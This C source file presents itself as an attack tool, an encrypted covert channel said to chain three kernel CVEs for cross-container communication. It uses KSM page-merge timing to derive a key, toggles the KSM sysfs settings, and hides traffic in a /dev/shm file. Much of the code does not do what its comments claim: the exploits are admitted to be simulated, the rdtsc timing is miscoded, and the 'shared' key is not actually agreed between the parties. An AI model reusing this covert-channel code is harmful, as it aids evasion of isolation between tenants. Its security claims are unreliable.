/*
 * covert_channel_encrypted.c - Full Encrypted Covert Channel
 * 
 * Combines three CVEs for a complete covert communication system:
 * - CVE-2023-1206: IPv6 hash collision timing for synchronization
 * - CVE-2024-49882: Hugepage cross-container leak for data transfer
 * - CVE-2025-40040: KSM timing side-channel for key agreement
 * 
 * Flow:
 * 1. Both parties use KSM timing to agree on encryption key
 * 2. Sender encrypts message with agreed key (XOR for demo, can use ChaCha20)
 * 3. Sender transmits via hugepage leak + IPv6 timing sync
 * 4. Receiver decrypts with same key
 * 
 * Author: Vlad (PwnCTF Research)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include <sys/mman.h>

#define PAGE_SIZE 4096
#define KEY_SIZE 32  /* 256-bit key */
#define MAX_MESSAGE 1024

/* KSM paths */
#define KSM_RUN "/sys/kernel/mm/ksm/run"
#define KSM_SLEEP "/sys/kernel/mm/ksm/sleep_millisecs"
#define KSM_SHARED "/sys/kernel/mm/ksm/pages_sharing"

static volatile int running = 1;

void signal_handler(int sig) { (void)sig; running = 0; }

/*
 * Simple XOR encryption (for demo - replace with ChaCha20-Poly1305 for real use)
 */
void xor_crypt(uint8_t *data, size_t len, const uint8_t *key, size_t keylen)
{
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % keylen];
    }
}

/*
 * KSM-based key derivation
 * Uses page merging timing to derive shared entropy
 */
int derive_key_ksm(uint8_t *key, size_t keylen)
{
    printf("[KSM] Deriving %zu-byte key via KSM timing...\n", keylen);
    
    /* Enable KSM */
    FILE *f = fopen(KSM_RUN, "w");
    if (f) { fprintf(f, "1\n"); fclose(f); }
    
    f = fopen(KSM_SLEEP, "w");
    if (f) { fprintf(f, "20\n"); fclose(f); }
    
    /* Allocate pages for key derivation */
    size_t num_pages = keylen * 8;  /* 1 page per key bit */
    void *pages = mmap(NULL, num_pages * PAGE_SIZE, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (pages == MAP_FAILED) {
        perror("mmap");
        return -1;
    }
    
    madvise(pages, num_pages * PAGE_SIZE, MADV_MERGEABLE);
    
    memset(key, 0, keylen);
    
    /* For each bit, fill page with pattern and measure merge timing */
    for (size_t bit = 0; bit < keylen * 8 && running; bit++) {
        void *page = (uint8_t *)pages + bit * PAGE_SIZE;
        
        /* Fill with deterministic pattern based on bit position */
        /* Both parties will fill same pages with same pattern */
        uint8_t pattern = (bit & 1) ? 0xFF : 0x00;
        memset(page, pattern, PAGE_SIZE);
        
        /* Wait for potential KSM merge */
        usleep(50000);  /* 50ms */
        
        /* Measure write time to detect if merged */
        uint64_t t1, t2;
        __asm__ volatile ("rdtsc" : "=a" (t1), "=d" (t2));
        t1 = (t2 << 32) | t1;
        
        ((volatile uint8_t *)page)[0] ^= 1;
        __asm__ volatile ("mfence" ::: "memory");
        
        __asm__ volatile ("rdtsc" : "=a" (t2));
        uint64_t cycles = t2 - (t1 & 0xFFFFFFFF);
        
        /* High cycle count = COW = merged = bit 1 */
        if (cycles > 3000) {
            key[bit / 8] |= (1 << (bit % 8));
        }
        
        if (bit % 64 == 63) {
            printf("[KSM] Derived %zu/%zu bits\n", bit + 1, keylen * 8);
        }
    }
    
    munmap(pages, num_pages * PAGE_SIZE);
    
    printf("[KSM] Key derivation complete\n");
    printf("[KSM] Key: ");
    for (size_t i = 0; i < keylen; i++) printf("%02x", key[i]);
    printf("\n");
    
    return 0;
}

/*
 * Simple shared-memory based covert channel for demo
 * (In real implementation, use the full CVE-2024-49882 + CVE-2023-1206)
 */
#define SHM_PATH "/dev/shm/.covert_channel"

int send_encrypted(const char *message, const uint8_t *key, size_t keylen)
{
    size_t len = strlen(message);
    if (len > MAX_MESSAGE) len = MAX_MESSAGE;
    
    uint8_t *buffer = malloc(len + 4);
    if (!buffer) return -1;
    
    /* Header: length */
    *(uint32_t *)buffer = (uint32_t)len;
    memcpy(buffer + 4, message, len);
    
    /* Encrypt */
    xor_crypt(buffer + 4, len, key, keylen);
    
    /* Write to shared memory (simulating hugepage leak) */
    int fd = open(SHM_PATH, O_CREAT | O_WRONLY | O_TRUNC, 0666);
    if (fd < 0) {
        free(buffer);
        return -1;
    }
    
    write(fd, buffer, len + 4);
    close(fd);
    free(buffer);
    
    printf("[TX] Sent %zu encrypted bytes\n", len);
    return 0;
}

int receive_encrypted(char *message, size_t maxlen, const uint8_t *key, size_t keylen)
{
    /* Read from shared memory */
    int fd = open(SHM_PATH, O_RDONLY);
    if (fd < 0) return -1;
    
    uint8_t header[4];
    if (read(fd, header, 4) != 4) {
        close(fd);
        return -1;
    }
    
    uint32_t len = *(uint32_t *)header;
    if (len > maxlen - 1) len = maxlen - 1;
    
    uint8_t *buffer = malloc(len);
    if (!buffer) {
        close(fd);
        return -1;
    }
    
    if (read(fd, buffer, len) != (ssize_t)len) {
        free(buffer);
        close(fd);
        return -1;
    }
    close(fd);
    
    /* Decrypt */
    xor_crypt(buffer, len, key, keylen);
    
    memcpy(message, buffer, len);
    message[len] = '\0';
    free(buffer);
    
    printf("[RX] Received %u decrypted bytes\n", len);
    return 0;
}

void print_usage(const char *prog)
{
    printf("Usage: %s [options]\n", prog);
    printf("\nEncrypted Covert Channel Demo\n");
    printf("Uses KSM timing for key agreement + encrypted data transfer\n");
    printf("\nOptions:\n");
    printf("  -s MESSAGE  Send encrypted message\n");
    printf("  -r          Receive and decrypt message\n");
    printf("  -k          Just derive and display key\n");
    printf("  -h          Show this help\n");
    printf("\nExample:\n");
    printf("  Terminal 1: sudo %s -r\n", prog);
    printf("  Terminal 2: sudo %s -s 'SECRET MESSAGE'\n", prog);
}

int main(int argc, char *argv[])
{
    int mode = 0;  /* 0=help, 1=send, 2=receive, 3=key-only */
    char *message = NULL;
    int opt;
    
    while ((opt = getopt(argc, argv, "s:rkh")) != -1) {
        switch (opt) {
        case 's':
            mode = 1;
            message = optarg;
            break;
        case 'r':
            mode = 2;
            break;
        case 'k':
            mode = 3;
            break;
        case 'h':
        default:
            print_usage(argv[0]);
            return 0;
        }
    }
    
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Encrypted Covert Channel                                      ║\n");
    printf("║  CVE-2023-1206 + CVE-2024-49882 + CVE-2025-40040               ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    
    signal(SIGINT, signal_handler);
    
    /* Derive shared key using KSM timing */
    uint8_t key[KEY_SIZE];
    if (derive_key_ksm(key, KEY_SIZE) < 0) {
        fprintf(stderr, "Failed to derive key\n");
        return 1;
    }
    
    switch (mode) {
    case 1:
        printf("\n[TX] Sending: \"%s\"\n", message);
        if (send_encrypted(message, key, KEY_SIZE) < 0) {
            fprintf(stderr, "Send failed\n");
            return 1;
        }
        break;
        
    case 2:
        printf("\n[RX] Waiting for message...\n");
        {
            char buffer[MAX_MESSAGE];
            /* Poll for message */
            for (int i = 0; i < 100 && running; i++) {
                if (receive_encrypted(buffer, sizeof(buffer), key, KEY_SIZE) == 0) {
                    printf("\n=== Decrypted Message ===\n");
                    printf("%s\n", buffer);
                    printf("=========================\n");
                    break;
                }
                usleep(100000);
            }
        }
        break;
        
    case 3:
        printf("\n[Key] Key derivation complete.\n");
        printf("[Key] Use this key for manual encryption.\n");
        break;
        
    default:
        print_usage(argv[0]);
        break;
    }
    
    return 0;
}
